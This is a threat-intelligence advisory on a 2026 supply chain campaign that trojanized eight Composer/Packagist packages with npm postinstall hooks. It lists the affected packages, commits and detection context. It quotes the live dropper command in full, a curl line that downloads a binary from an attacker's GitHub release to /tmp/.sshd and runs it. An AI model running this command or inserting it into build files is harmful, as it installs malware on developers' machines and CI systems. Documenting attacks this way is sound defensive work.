Packagist Cross-Ecosystem Supply Chain Attack — 8 Composer Packages Trojanized via package.json postinstall to Drop GitHub-Hosted Linux Implant (gvfsd-network -> /tmp/.sshd) — Threadlinqs Intelligence
As of 2026-05-30, Packagist Cross-Ecosystem Supply Chain Attack — 8 Composer Packages Trojanized via package.json postinstall to Drop GitHub-Hosted Linux Implant (gvfsd-network -> /tmp/.sshd) is a critical-severity supply chain threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 25 indicators of compromise.
Threat ID: TL-2026-0574 · Severity: CRITICAL · CVSS: 9.6 · Status: MONITORING · Category: SUPPLY_CHAIN
A coordinated supply chain campaign tracked by Socket (May 22, 2026) compromised 8 Composer/Packagist PHP packages by inserting a malicious npm postinstall hook into their package.json — sidestepping
On May 22, 2026, Socket threat research disclosed a cross-ecosystem supply chain compromise affecting eight PHP packages indexed on Packagist whose upstream GitHub repositories were modified to ship an identical malicious npm lifecycle hook. The Hacker News reported the campaign on May 23, 2026.
The attacker placed a postinstall entry in each repository''s package.json (not composer.json), exploiting the fact that many modern PHP projects bundle JavaScript build tooling — Laravel starter kits, CMS themes, and admin UIs commonly run ''npm install'' or ''yarn install'' during development bootstrap, which silently triggers npm/yarn lifecycle scripts at project root. Because Composer-focused dependency scanners and policy engines (e.g., composer audit, snyk php, dependabot for composer) do not parse package.json, the malicious hook evaded the ecosystem''s native review surface entirely. This is a deliberate cross-ecosystem evasion technique: the carrier is a Composer package, but the trigger is an npm lifecycle event.
The postinstall command was identical across all confirmed artifacts:
curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &
Mechanics of the dropper: ''-s'' suppresses progress output, ''-k'' disables TLS certificate verification (operationally hostile and a clear IOC), ''-L'' follows redirects (the GitHub Releases URL 302s to objects.githubusercontent.com), ''-o /tmp/.sshd'' writes a hidden-style file (leading dot) using a name that mimics the OpenSSH daemon, ''2>/dev/null'' suppresses curl errors so install logs remain clean, ''chmod +x'' marks the binary executable, and trailing ''&'' detaches the process so the install command returns immediately. The retrieved ELF is named ''gvfsd-network'', mimicking the legitimate GNOME Virtual File System daemon to blend in with process listings on Linux developer workstations and CI runners.
The payload binary itself was unavailable at the time of Socket''s analysis (the hosting GitHub account ''parikhpreyash4'' had been removed), so post-execution behavior is inferred from the dropper wrapper. The combination of TLS verification bypass, hidden-name drop path under /tmp, masquerade naming, and detached background execution is consistent with a stage-1 loader that establishes outbound C2 and stages a second payload. Without the binary in hand, attribution to a specific malware family cannot be made, but the operational tradecraft is consistent with low-cost commodity Linux implants used by financially motivated actors and ecosystem-scraping crews.
The eight confirmed Packagist packages, all targeting branch-tracking development versions, are: moritz-sauer-13/silverstripe-cms-theme (dev-master, commit 7825479), crosiersource/crosierlib-base (dev-master, commit 551c319), devdojo/wave (dev-main, commit 8f9127a, reverted via 5afe6da), devdojo/genesis (dev-main, commit fe7b1cd, reverted via 3be1f20), katanaui/katana (dev-main, commit a32f9e1, reverted via f679252), elitedevsquad/sidecar-laravel (3.x-dev, commit ed6fd36, reverted via b1f5c53), r2luna/brain (dev-main, commit 85eca91, reverted via 421a1d5), and baskarcm/tzi-chat-ui (dev-main, commit 58fa0b2). The highest-exposure carriers are devdojo/wave (~6,400 GitHub stars) and devdojo/genesis (~1,300 stars, ~9,100 Packagist installs) — both Laravel SaaS starter kits whose typical workflow runs npm install at project root, immediately triggering the dropper.
Socket''s broader code search for the payload URL surfaced ~700 GitHub repositories referencing the same command within roughly 17 hours of detection. Two of these were not package.json hooks but GitHub Actions workflow files: 448776129/UA2F (a fork of Zxilly/UA2F) embedded the command in .github/workflows/ci.yml under a step labeled ''Dependency Cache Sync'', and 448776129/blog-1 (a fork of JS-banana/blog) embedded it in a deploy workflow. Thi
Weaknesses (CWE)
CWE-506, CWE-829, CWE-494, CWE-78, CWE-1357
Target sectors: software-development, saas, e-commerce, cms-operators, ci-cd-providers, open-source-maintainers
Target regions: Global
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 25 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
SUPPLY_CHAIN, CRITICAL, threat intelligence, cybersecurity, T1583, T1585, T1608, T1587, T1195, T1195, T1059, T1204, T1546, T1036